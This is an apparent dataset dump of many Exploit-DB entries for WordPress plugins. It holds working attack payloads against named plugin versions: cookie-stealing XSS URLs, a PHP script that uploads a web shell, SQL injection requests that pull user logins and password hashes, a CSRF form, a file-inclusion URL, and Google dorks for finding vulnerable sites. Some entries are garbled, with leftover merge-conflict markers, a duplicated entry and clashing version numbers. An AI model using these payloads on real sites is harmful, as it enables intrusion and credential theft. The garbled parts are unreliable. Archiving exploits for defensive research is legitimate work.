deardaniel/secdata-raw huggingface dataset:
Exploit-DB #37836
Description: WordPress Plugin Token Manager - 'tid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-09-25
Author: TheCyberNuxbie

Exploit:
source: https://www.securityfocus.com/bid/55664/info

The Token Manager plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Token Manager 1.0.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=tokenmanageredit&tid=<script>alert(document.cookie);</script>
http://www.example.com/wp-admin/admin.php?page=tokenmanagertypeedit&tid=<script>alert(document.cookie);</script>
Exploit-DB #19053
Description: WordPress Plugin Top Quark Architecture 2.10 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-11
Author: Adrien Thierry

Exploit:
###########################################################
#
# Exploit Title: Wordpress Top Quark Architecture Version 2.10 Arbitrary File Upload
# Google Dork: inurl:wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/
# Date: 11/06/2012
# Exploit Author: Adrien Thierry
# Vendor Homepage:  http://topquark.com/
# Software Link: http://downloads.wordpress.org/plugin/topquark.zip
# Version: 2.10
#
###########################################################

Vuln page : http://mysite.com/wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/script.php

exploit :

<?php
$u="C:\Program Files (x86)\EasyPHP-5.3.9\www\shell.php";
$c = curl_init("http://127.0.0.1/wordpress/wp-content/plugins/topquark/lib/js/fancyupload/showcase/batch/script.php?batch_id=../../shell.php");
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS,
array('upload'=>"@$u"
));
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$e = curl_exec($c);
curl_close($c);
echo $e; 
?>

You can choose where upload the shell with param batch_id

Shell access : http://site.com/wp-content/plugins/topquark/lib/js/fancyupload/showcase/shell.php1

#####################################################################
Exploit-DB #37204
Description: WordPress Plugin Track That Stat 1.0.8 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-05-15
Author: Heine Pedersen

Exploit:
source: https://www.securityfocus.com/bid/53551/info

The Track That Stat plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Track That Stat 1.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/wp.bacon/wp-content/plugins/track-that-stat/js/trackthatstat.php?data=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B
Exploit-DB #38439
Description: WordPress Plugin Traffic Analyzer - 'aoid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-04-09
Author: Beni_Vanda

Exploit:
source: https://www.securityfocus.com/bid/58948/info

The Traffic Analyzer plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/trafficanalyzer/js/ta_loaded.js.php?aoid=[Xss]
Exploit-DB #36677
Description: WordPress Plugin Traffic Analyzer 3.4.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2015-04-08
Author: Dan King

Exploit:
# Exploit Title: Wordpress plugin 'Traffic Analyzer' Blind SQL Injection
# Google Dork: inurl:/plugins/trafficanalyzer/js/
# Date: 4/7/2015
# Exploit Author: Dan King (@fuzztester)
# Vendor Homepage: http://wptrafficanalyzer.in/
# Software Link: https://wordpress.org/plugins/trafficanalyzer/
# Version: 3.4.2
# Tested on: Ubuntu 14.10 with Mysql and Wordpress 4.11

[+] Issue [+]

The Wordpress plugin "Traffic Analyzer" is vulnerable to a blind SQL injection vulnerability. The application does not properly validate input from the "Referer" HTTP header value.

[+] Impact [+]

This vulnerability would allow a remote attacker to access the database with the privleges configured by Wordpress. This could also lead to the attack gaining remote access to the webservers filesystem and further compromise the system hosting the Wordpress installation.

[+] Details [+]

The following section of PHP code is where the vulnerability exists. The $sql variable is a concatenated string intended on being used to insert data into the database. The the variable $referer is not checked for malicious data.

From 'class-TrafficAnalyzer.php' line number 297:

######################################################################################
$sql = " insert into $wpdb->prefix"."tanalyzer_pre ( hid,ip, script_name, user_agent, request_uri,resource_type,browser,resource,http_referer,wpta_cookie ) values ".
                                        " ('".$hid."'," .
                                        " '".$_SERVER["REMOTE_ADDR"]."', ".
                                        "'".$_SERVER['SCRIPT_NAME']."', " .
                                        " '".$_SERVER["HTTP_USER_AGENT"]."', ".
                                        " '". $_SERVER['REQUEST_URI']. "', ".
                                        " '".$resource_type."', " .
                                        " '".$browser."', " .
                                        " '".$resource ."', " .
                                        " '".$referer . "', " .
                                        " '".$this->wpta_cookie . "'" .
                                        " )";
###########################################################################################


[+] Proof of Concept [+]

Sending the following HTTP request to a vulnerable site will cause the request to be delayed for 30 seconds.

GET /[wordpress path]/ HTTP/1.1
Host: x.x.x.x
Referer: BLAH'||(SELECT 'Fdsf' FROM DUAL WHERE 5435=5435 and SLEEP(30) )||'
Exploit-DB #50343
Description: WordPress Plugin TranslatePress 2.0.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2021-09-28
Author: Nosa Shandy

Exploit:
# Exploit Title: WordPress Plugin TranslatePress 2.0.8 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 06-08-2021
# Exploit Author: Nosa Shandy (Apapedulimu)
# Vendor Homepage: https://translatepress.com/
# Software Link: https://wordpress.org/plugins/translatepress-multilingual/ 
# Reference: https://wpscan.com/vulnerability/b87fcc2f-c2eb-4e23-9757-d1c590f26d3f
# Version: 2.0.6 
# Tested on: macOS 11.4
# CVE : CVE-2021-24610

Description:
The plugin does not implement a proper filter on the 'translated' parameter when input to the database. The 'trp_sanitize_string' function only check the "<script></script>" with the preg_replace, the attacker can use the HTML Tag to execute javascript.

Step To Reproduce:
1. Go to http://localhost:8888/wordpress/?trp-edit-translation=true
2. Input Gettext String
3. Input the payload such as <img src=x onerror=alert(4)>
4. Save, The payload will be executed.
5. Look on the homepage will be affected.

Video : https://drive.google.com/file/d/1PnvjHuKCvjmom6xz_sxNLBu3jixCiHy_/view?usp=sharing
Exploit-DB #33366
Description: WordPress Plugin Trashbin 0.1 - 'mtb_undelete' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-11-15
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/37097/info

The Trashbin plugin for WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.come/wp-admin/edit.php?page=mtb_trashbin/trashbin.php&mtb_undelete=%27%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #36802
Description: WordPress Plugin Tune Library 1.5.4 - SQL Injection
Type: webapps
Platform: php
Date: 2015-04-21
Author: Hannes Trunde

Exploit:
=======================================================================
              title: SQL Injection
            product: WordPress Tune Library Plugin
 vulnerable version: 1.5.4 (and probably below)
      fixed version: 1.5.5
         CVE number: CVE-2015-3314
             impact: CVSS Base Score 6.8 (AV:N/AC:M/Au:N/C:P/I:P/A:P)
           homepage: https://wordpress.org/plugins/tune-library/
              found: 2015-01-09
                 by: Hannes Trunde
                     
               mail: hannes.trunde@gmail.com
            twitter: @hannestrunde

=======================================================================


Plugin description:
-------------------
"This plugin is used to import an XML iTunes Music Library file into your 
WordPress database. Once imported, you can display a complete listing of your 
music collection on a page of your WordPress site."

Source: https://wordpress.org/plugins/tune-library/


Recommendation:
---------------
The author has provided a fixed plugin version which should be installed 
immediately.


Vulnerability overview/description:
-----------------------------------
Because of insufficient input validation, a sql injection attack can be
performed when sorting artists by letter.

However, special conditions must be met in order to exploit this vulnerability:
1) The wordpress security feature wp_magic_quotes(), which is enabled by 
   default, has to be disabled.
2) The plugin specific option "Filter artists by letter and show alphabetical
   navigation" has to be enabled.

   
Proof of concept:
-----------------
The following HTTP request to the Tune Library page returns version, current 
user and db name:
===============================================================================
http://www.site.com/?page_id=2&artistletter=G' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20
===============================================================================


Contact timeline:
------------------------
2015-04-08: Contacting author via mail.
2015-04-09: Author replies and announces a fix within a week.
2015-04-12: Mail from author, stating that plugin has been updated.
2015-04-14: Requesting CVE via post to the open source software security mailing 
            list: http://openwall.com/lists/oss-security/2015/04/14/5
2015-04-20: Release of security advisory.


Solution:
---------
Update to the most recent plugin version.


Workaround:
-----------
Make sure that wp_magic_quotes() is enabled and/or disable "Filter artists by
letter..." option.
Exploit-DB #17816
Description: WordPress Plugin Tune Library 2.17 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-10
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Tune Library plugin <= 2.17 SQL Injection Vulnerability
# Date: 2011-09-10
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/tune-library.zip
# Version: 1.5.1 (tested)
# Notes: magic_quotes has to be turned off
#        Plugin setting "Filter artists by letter and show alphabetical navigation" has to be turned on

---
PoC
---
http://www.site.com/wp-content/plugins/tune-library/tune-library-ajax.php?letter=-1' UNION ALL SELECT CONCAT_WS(CHAR(59),version(),current_user(),database()),2--%20

---------------
Vulnerable code
---------------
$artistletter = $_GET['letter'];
...
if ($options['oneletter'] == false || $showallartists == true)
...
else
{
    if ($artistletter == '#')
    ...
    else
    {
        $querystr ="SELECT distinct artist, 'artist' as source FROM " . $wpdb->prefix . "tracks where artist != '' and artist like '" .$artistletter . "%' order by artist";
    }
}
Exploit-DB #48058
Description: WordPress Plugin Tutor.1.5.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2020-02-13
Author: Mehran Feizi

Exploit:
#  Tile: Wordpress Plugin tutor.1.5.3 - Local File Inclusion
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/tutor/

===================================================================
Vulnerable page:
/instructors.php
===================================================================
Vulnerable Source:
3: $sub_page = tutor_utils ()->avalue_dot('sub_page', $_GET); 
5: $include_file = tutor ()->path . "views/pages/{$sub_page}.php"; 
7: include include $include_file; 
requires:
4: if(!empty($sub_page))
6: if(file_exists($include_file))
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=[LFI]
=================================================================================
contact me:
telegram: @MF0584
gmail: mehranfeizi13841384@gmail.com
===================================================================
Vulnerable page:
/instructors.php
===================================================================
Vulnerable Source:
3: $sub_page = tutor_utils ()->avalue_dot('sub_page', $_GET); 
5: $include_file = tutor ()->path . "views/pages/{$sub_page}.php"; 
7: include include $include_file; 
requires:
4: if(!empty($sub_page))
6: if(file_exists($include_file))
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=[LFI]
=================================================================================
Exploit-DB #48059
Description: WordPress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-02-13
Author: Mehran Feizi

Exploit:
#  Tile: Wordpress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/tutor/

===================================================================
Vulnerable page:
/Quiz.php
===================================================================
Vulnerable Source:
473: echo echo $topic_id; 
447: $topic_id = sanitize_text_field($_POST['topic_id']); 
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/classes/Quiz.php
$_POST('topic_id') = <script>alert('mehran')</script>
=================================================================================
Exploit-DB #17789
Description: WordPress Plugin Tweet Old Post 3.2.5 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-06
Author: sherl0ck_

Exploit:
# Exploit Title: WordPress Tweet Old Post plugin <= 3.2.5 SQL Injection
Vulnerability
# Date: 2011-09-05
# Author: sherl0ck_ < sherl0ck_ [at] alligatorteam [dot] org >
# Software Link: http://downloads.wordpress.org/plugin/tweet-old-post.zip
# Version: 3.2.5 (tested)

---------------
PoC (POST data)
---------------
URL:
http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts

POST Data:
delids=1&selFilter=excluded&cat=1=0) UNION ALL SELECT
USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from
wp_users#&setFilter=Filter&s=hello&chkbx=1

e.g.:
curl --cookie "[COOKIE]" --data "delids=1&selFilter=excluded&cat=1) UNION
ALL SELECT
USER(),concat(user_login,char(58),user_pass),DATABASE(),@@version,null from
wp_users#&setFilter=Filter&s=hello&chkbx=1"
http://localhost/wordpress/wp-admin/admin.php?page=ExcludePosts

---------------
Vulnerable code
---------------
70     if(isset($_POST["setFilter"]))
71     {
72         if($_POST["cat"] != 0)
73         {
74             $sql = $sql . " and p.ID IN ( SELECT tr.object_id FROM
".$wpdb->prefix."term_relationships AS tr INNER JOIN
".$wpdb->prefix."term_taxonomy AS tt ON tr.term_taxonomy_id = tt.ter
 m_taxonomy_id WHERE tt.taxonomy = 'category' AND tt.term_id=" .
$_POST["cat"] . ")";
75             $cat_filter = $_POST["cat"];
Exploit-DB #32868
Description: WordPress Plugin Twitget 3.3.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-04-14
Author: Tom Adams

Exploit:
Details
================
Software: Twitget
Version: 3.3.1
Homepage: http://wordpress.org/plugins/twitget/
Advisory ID: dxw-1970-435
CVE: CVE-2014-2559
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:P/A:N)

Description
================
CSRF/XSS vulnerability in Twitget 3.3.1

Vulnerability
================
If a logged-in administrator visits a specially crafted page, options can be updated (CSRF) without their consent, and some of those options are output unescaped into the form (XSS). In this example the XSS occurs at line 755 in twitget.php. The nonce-checking should have occurred somewhere around line 661 in the same file.

Proof of concept
================
<form action=\"http://localhost/wp-admin/options-general.php?page=twitget/twitget.php\" method=\"POST\">
  <input type=\"text\" name=\"twitget_username\" value=\"john_smith\">
  <input type=\"text\" name=\"twitget_consumer_key\" value=\""><script>alert(\'dxw\')</script>\">
  <input type=\"submit\">
</form>

Mitigations
================
Upgrade to version 3.3.3 or later.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2013-07-30: Discovered
2014-03-18: Reported to plugins@wordpress.org
2014-04-09: Author reports fixed in version 3.3.3.

<<<<<<< HEAD

Discovered by dxw:
================
Tom Adams
=======

Discovered by dxw:
================
Tom Adams
>>>>>>> 65c687d5cb3c4aa66c28a30a4f2aaf33169dc464
Please visit security.dxw.com for more information.
Exploit-DB #35084
Description: WordPress Plugin Twitter Feed - 'url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-07
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/45294/info

The Twitter Feed Plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Twitter Feed 0.3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/wp-twitter-feed/magpie/scripts/magpie_debug.php?url=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #50593
Description: WordPress Plugin Typebot 1.4.3 - Stored Cross Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2021-12-14
Author: Mansi Singh

Exploit:
# Exploit Title: WordPress Plugin Typebot 1.4.3 - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 29/11/2021
# Exploit Author: Mansi Singh
# Vendor Homepage: https://wordpress.org/plugins/typebot/
# Software Link: https://wordpress.org/plugins/typebot/
# Tested on Windows
# Reference: https://wpscan.com/vulnerability/2bde2030-2dfe-4dd3-afc1-36f7031a91ea

How to reproduce vulnerability:

1. Install Latest WordPress

2. Install and activate Typebot Version 1.4.3

3. Navigate to Typebot setting >> enter the payload into 'Publish ID or Full URL'.

4. Enter JavaScript payload which is mentioned below
"><img src=x onerror=confirm(1)>

5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload gets executed successfully and we'll get a pop-up.
Exploit-DB #18390
Description: WordPress Plugin ucan post 1.0.09 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-19
Author: Gianluca Brindisi

Exploit:
# Exploit Title: Wordpress uCan Post plugin <= 1.0.09 Stored XSS
# Dork: inurl:/wp-content/plugins/ucan-post/
# Date: 2012/01/18 
# Author: Gianluca Brindisi (gATbrindi.si @gbrindisi http://brindi.si/g/)
# Software Link: http://downloads.wordpress.org/plugin/ucan-post.1.0.09.zip
# Version: 1.0.09

1)  You need permissions to publish a post from the public interface:

    The submission form is not well sanitized and will result in stored xss
    in admin pages:

    * Name field is not sanitized and it's injectable with a payload 
      which will be stored in the pending submission page in admin panel
      POC: myname'"><script>window.alert(document.cookie)</script>

    * Email field is not sanitized but can it will check for a valid email address
      so the maximum result will be a reflected xss
      POC: my@mail.com'"><script>window.alert(document.cookie)</script>

    * Post Title is not sanitized and it's injectable with a payload
      which will be stored in the pending submissions page in admin panel
      POC: title'"><script>window.alert(document.cookie)</script>